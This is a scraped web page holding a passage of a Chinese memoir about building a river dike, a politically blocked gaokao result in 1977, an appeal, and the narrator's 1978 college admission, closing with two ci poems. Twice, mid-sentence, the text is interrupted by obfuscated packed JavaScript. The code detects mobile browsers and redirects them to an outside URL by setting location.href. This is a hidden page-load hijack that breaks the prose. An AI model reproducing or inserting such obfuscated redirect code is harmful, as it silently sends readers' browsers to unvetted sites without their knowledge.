;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915241|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萝卜。 我拿挑水草的冲担在泥淤捉黑鱼,不一会就捉到四条大黑鱼。 这个湖面很大,我想里面的鱼肯定不少。 我拿水草把四条大黑鱼串起来,挑起打好的水草,往村里跑。 伙房里做饭的人看到我拿回来的四条大黑鱼,也非常高兴, 问我是从哪里搞来的,我告诉他们,我打柴的那个湖水干了,里面一定有好多黑鱼。 我说,今天晚上我们可以改善一下生活了。我叫伙房的人把四条黑鱼都煮了,煮了一大锅黑鱼汤。 天黑了,民工们回来了,伙房的人把湖里有黑鱼的消息告诉了他们。 许多的民工都拿起麻布袋就往那个湖跑,结果他们都满载而归。 于是更多的民工都去那个湖里捉黑鱼,他们都搞回来一麻袋一麻袋的大黑鱼。 他们都说,这一回可发财了,这么多鱼很能卖些钱啊。 有人问是谁发现那湖里有黑鱼的,伙房里的人说,是之华老师发现的。 于是有几个民工就来问我:“是你发现的?你搞了多少?” “我搞了四条?”我正和几个曾经的大队宣传队的民工在喝酒,吃煮好的黑鱼汤。 其中一个姓雷,是锣鼓队中打锣的,他还买来了一斤白酒。 “你怎么不多搞些啊?你看他们都搞那么多,有的人搞了一百多斤呢。” “人不能贪心啊!”我笑着对他说,“你看吧,他们一条鱼都拿不回去。” 这几个民工都说我是书呆子 忽然听到了大队长的喊叫声:“所有人都听好了啊!把搞到的黑鱼都交出来!” 民工们哪敢不交,纷纷把搞到的黑鱼交到伙房这里来了。伙房前堆了好大一堆黑鱼。 大队长得知是我最先搞黑鱼的,就跑来找我:“之华老师,是你最先搞黑鱼的吧?请把你搞的黑鱼交出来!” “交不出来了!”我们几个把黑鱼汤吃得差不多了,我指着桌子上的黑鱼汤说,“我搞的黑鱼都在这里了。” “怎么可能!你是最先发现黑鱼最先搞黑鱼的,怎么只搞了这一点。别人后搞的都搞一百多斤了。” 那个为我做黑鱼汤的伙房师傅过来了,他对大队长说:“真的只这么多。之华老师搞回来四条黑鱼,叫我做成了黑鱼汤,他就再没去搞了。” 大队长还是将信将疑,边往外走,嘴里还在说:“怎么可能?就搞这一点就不搞了?” 几个和我一起喝酒吃鱼的人都对我伸出大姆指说:“高!高!实在是高!” 说完,大家都哈哈大笑起来。 第二天,小队长三苕爹就要我上堤了。 大堤一天天加高,越高就越难爬。 一天中午,我挑着土刚走到堤上,开饭了。 我放下担子转身到工棚吃饭,小队长三苕爹看见了,他要我把那担土挑上去再回来吃饭。 还是顾虑到高考政审的问题,我放下刚端起的饭碗,转身到堤上,挑起那担子。 所有的民工都在工棚里外吃饭。 大堤上只有我一个人,饿着肚子,挑着担子,一步一步吃力地往那高高的堤上爬。 所有人都看到了这一幕,众人都看不下去了,都十分气愤。 这一幕引起了众怒,本大队其他小队的几个队长,还有很多民工,都围过来了,纷纷指责三苕爹做得太过份。 其中一位年长的小队长指着三苕爹的鼻子大声斥责道: “三苕,你欺人太甚了吧!没见过这么欺侮人的。” 父亲也看到了这一幕,强忍着,在一旁默默流泪。 我提醒过父亲,这段时间一定要忍,千万不要和大小队干部们起冲突。 不知道是不是为了向1978年新年献礼,元旦那天,我们大队负责修建的这一段大堤完工了。 许多年后,我经常开车经过那里,那里离滠水河大桥不远,车开到大桥上,可以看到我当年修过的那段大堤。 37. 第 37 章 六 回家没多久,大概是元月中旬,高考成绩出来了,我考上了,总分过了大专录取线。 父母都非常高兴,母亲说,头天晚上做了一个梦,梦见中堂前的供台上,两支大红蜡烛亮堂起来了,照得满屋亮堂堂的。这是好兆头,两个儿子肯定都能考上大学。 我二弟当年也参加了高考,他是在麻城中馆驿参加高考。 村里的人,有的高兴,有的很不高兴。 外村的人却都非常高兴,纷纷前来祝贺。 我接到通知,到镇中学去填报志愿。我报考的是文科,填了“武汉大学”、“华中师范学院”和“中南财经学院”。 紧接着又通知到县人民医院体检,公社教育组要我负责带队,组织全体过线了的考生乘专车到县人民医院体检。 我们公社考上的人数是全县最多的,考上大专的36名,考上中专的72名,真巧!总共108人。 本大队考上了3人。 整队,点名,上车,一路高歌,排队体检,直到下午很晚才全部体检完。 体检时,有个小插曲。 医生给我量血压,我血压高了。 我是领队啊,我要对这108个人负责啊。 一定是我跑上跑下张罗,把血压跑高了。 医生叫我到旁边休息一下再来量一次。 我找了个人不多的地方休息了一会,第二次量,血压正常了。 所有考生都顺利体检完了,全都乘车回去了,我留在最后走。 这时天已经黑了,没有车。 我正着急,一位同来的考生找来了一辆卡车。 这位考生叫彭伟量,是个武汉下乡知青,投亲靠友下放到我们公社。 他这次报考的是文科,后来成了我大学同班同学,还同桌同寝室。真是无巧不成书! 车到了镇上,我马上去向教育组领导汇报了体检的情况,圆满地交了差。 回到家,已经是深夜了。 没几天,政审的老师来了,一天同时来了两拨。 真巧,从麻城来的政审老师也在同一天来了,我弟弟也考上了。 两拨政审老师都是9点多钟来的。 麻城来的老师很快就政审完了,上午11点多就走了,他们只是调查社会关系,个人表现的评语不由我们大队干部写。 本地的政审老师一直到晚上9点才走,我预感到情况不妙。 1月下旬的一天晚上,天很冷,下着小雨。 母亲坐在堂屋里纳鞋底,我在房里的柴油灯下看书,父亲到瘫子爹家聊天去了。 忽然有人敲门。 我母亲起身去开门。 门一开,进来了一个人,他收起雨伞,问:“请问,是古之华家吗?” “是啊是啊,快到屋里坐!”母亲一边给客人端椅子,一边对房里我喊,“之华,有客人来了,是找你的。” 我急忙放下书从房里出来。 我一出来,客人就自我介绍说:“我姓邓,是从县里专门来的。” 母亲端来一碗白开水,递给客人。客人接过碗,喝了一口,接着说:“我老家离你们村不远,我在县教育局工作。之华考得非常好,是我们县文科最高分。可是政审不合格,档案已经下架了。教育局的领导和同事们都觉得太可惜了,特地委托我来告诉你们。” 母亲一听就急了,忙出门去找父亲了。 我对邓老师说:“非常感谢您!这么冷的天,又下雨,为了我的事,还走这么远的路。”我尽力稳定自己的情绪。 “我早就知道你,你们小学办得很好,很有名气,我还看过你们武术队的演出,很了不起。你怎么会政审不合格呢?” “一言难尽啊!”我耳边响起那个化叔的话,“你打不过佛爷的巴掌心!” 我简单地对邓老师讲述我被撤销校长和裁减民办老师的事。 我正讲着,父亲急急忙忙进来了,母亲跟在后面。 父亲是又气恼又着急,一进门就说:“这怎么办?这怎么办?” “我建议你们马上去上诉,要快,慢了就来不及了,马上要开始录取了。”邓老师听了我的讲述,大致了解了我被陷害的情况,为我打抱不平。 “到哪里去申诉呢?”我父亲急忙问。 “你们写好申诉书,多写几份,县教育局、地区教育局,都送一份。”邓老师说。 邓老师说他参加高考阅卷工作后又正参加高考招生工作,很忙,这次专程来告知我的,他马上要赶回县里去,老家都不去了。 外面还在下雨,邓老师说完,就打开雨伞,急匆匆地走了。 世界上还是好人多!我一辈子都忘不了这位好心的邓老师! 为了一个素不相识、从无来往、又不沾亲故的考生,竟在大冷的天,冒着风雨,从县里,到五十多里路外的小山村,去向考生告知可能落选的消息。 他为什么能这么做呢? 我想,邓老师不仅仅是有同情心,更可贵的是有为国选才的负任心。 七 当晚我就写申诉书,不知他们在我的政审材料中是怎么污陷我的,无法有针对性地申诉。 于是我就客观地介绍自己这几年在小学的工作情况,把工作中取得的成绩也一一列举出来。所以写得比较长,有六千多字。 我抄了三份,一份给了公社教育组,一份给了县教育局,一份给了地区教育局。 等待,倍受煎熬的等待,心存一丝希望的等待。 开始发通知书了,同大队的另两位考生接到通知了,一个上了中专,接到了地区卫生学校有录取通知书;一个考上了大专,接到某地区医专的入学通知书。 弟弟从麻城回老家来了,他收到了华中师范学院中文系的录取通知书。他的高考成绩比我低多了。 我到县教育局找张局长打听消息,张局长告诉我,他们派人到我们公社和大队调查过了,问题基本上搞清楚了,但是录取工作已经结束了。 他告诉我,1978年高考定在秋季,还有半年时间,他叫我今年再考,一定考得上,政审不会再受影响。 于是,我立即又开始备考复习。 时间充足,我准备改考理科。 我借来了高中的物理课本、化学课题和生物课本,制订好学习计划,又开始了“攻坚战”。 我要把坏事变成好事,下决心要比去年考得更好,目标定得更高,向清华大学冲刺,实现少年时期的梦想! 中心小学也不去了,争分夺秒备战高考。 可是,小队长苕三爹不准我的假,我必须参加生产劳动。 九号去年没考上,我鼓励他今年再考,约他和我一起复习。没想到他不仅语文差,要我辅导他,数学也不行,也要我辅导他。 我俩的高考复习是在田头地角进行的,挑担子时看书,耙田时看书,挖地时看书,晚上做题。 我俩一起边挖地边背化学元素周期表,三天就背下来了。 当年的理化生教材的内容都很简单,我很快就自学完了。 老大又骂上门来了,她说:“别做梦了!你们要是能考上大学,我就围着村子爬三圈。” 结果这一年九号考上了一所专科学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915242|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校,老大也没有围着村子爬三圈。 三月中旬的一天,我正水田里平整秧田。 忽听到对面山坡上有人大喊我的名字。 我抬头一看,是在大队守电话机的同学的爱人,她手里举着一个信封,边向我这边跑边喊:“之华!你的通知书来啦!” 我从泥田里上来,在旁边的水沟里洗脚上的泥。 她走过来,把信封递给我。 我看着信封上的寄信地址“武汉师范学院孝感分院”,呆呆地站着没说话。 我同学的爱人说:“你怎么不高兴啊?我们都替你高兴啊!” “我没报这个学校啊。”我的确高兴不起我来,就对她说 “我准备今年再考。” 我拿着录取通知书回到家里,父亲母亲都非常高兴。 村里也有不少人来家里祝贺。 可是我一点也高兴不起来,不想去这个学校,我想今年再考。 我和父亲到瘫子爹家,父亲说要听听瘫子爹的意见。 瘫子爹也劝我去,他说夜长梦多,谁能料到大队那些人又会搞出什么鬼名堂。 三个月后就可以再考了,再考我一定会考得更好,能上我理想的大学。 商量到深夜,所有的人都劝我走了算了,终于可以“跳出佛爷的巴掌心了”。 最后,我还是妥协了。 我决定去上大学了,村里好多人送来了红鸡蛋,外村也有不少人送来了红鸡蛋。 金芬也偷偷跑来我家,祝贺我考上了大学。 我拿着录取通知书去找化叔转户口和粮油关系。 化叔正在田里耕田。 我走上前去,对他说:“化叔,我来转户口和粮油关系。” 他没出声,解下牛,牵着牛往村里走,我跟在后面。 一直走到他家门口,两人都没说一句话。 但他的那句“你打不过我佛爷的巴掌心”却在我耳边响着。 不知他这时耳边是不是也响着这句话。 他推开门,走进房里,拿出纸、笔和公章,很有条理地给我办完了所有的手续,放在我面前的桌面上。 我拿起这些文件,说了句:“化叔,我走了,谢谢!。” 说完我就出门走了。 他一直没说一句话,也没回头看我一眼,就出门牵上牛走了。 再次见到华叔,是二十多年后了,是在武汉我的家中。 因为老家要修公路,来找在城里工作的人出钱。 我爱人金芬做了一大桌子菜招待来家里要钱的大队干部,包括化叔。临走,我给了他们2万元。 3月下旬,我挑着行李和书籍上学去了。 离开了故乡,我的大学生活开始了。 77年高考,十几届初高中生一起考,录取率很低。 我家同时考上两个,在当地也轰动一时。 考上大学了,二弟填词一首: 蝶恋花 三月春深花满树,柳绿松青,喜鹊歌于榉。凝目家书挥泪雨,鹦哥寄去思千缕。 郁郁长吉惟晋肃。骏骥狂嘶,怎奈囫囹圉。何故今朝双越去?霏霾去尽华阳煜。 我和了一首: 蝶恋花 二弟从华师来信,信中有蝶恋花词一首。有感于我弟兄双双考入大学,告别艰难岁月,欣然命笔和之。 素洁梨花妆碧树,朵朵晶莹,胜似黄花榉。一夜轻风施细雨,银花含笑情千缕。 立志于学宜静肃,精卫恒心,何惧囫囹圉。掠浪冲霄风里去,朝辉灿烂韶华煜。 (1978年春)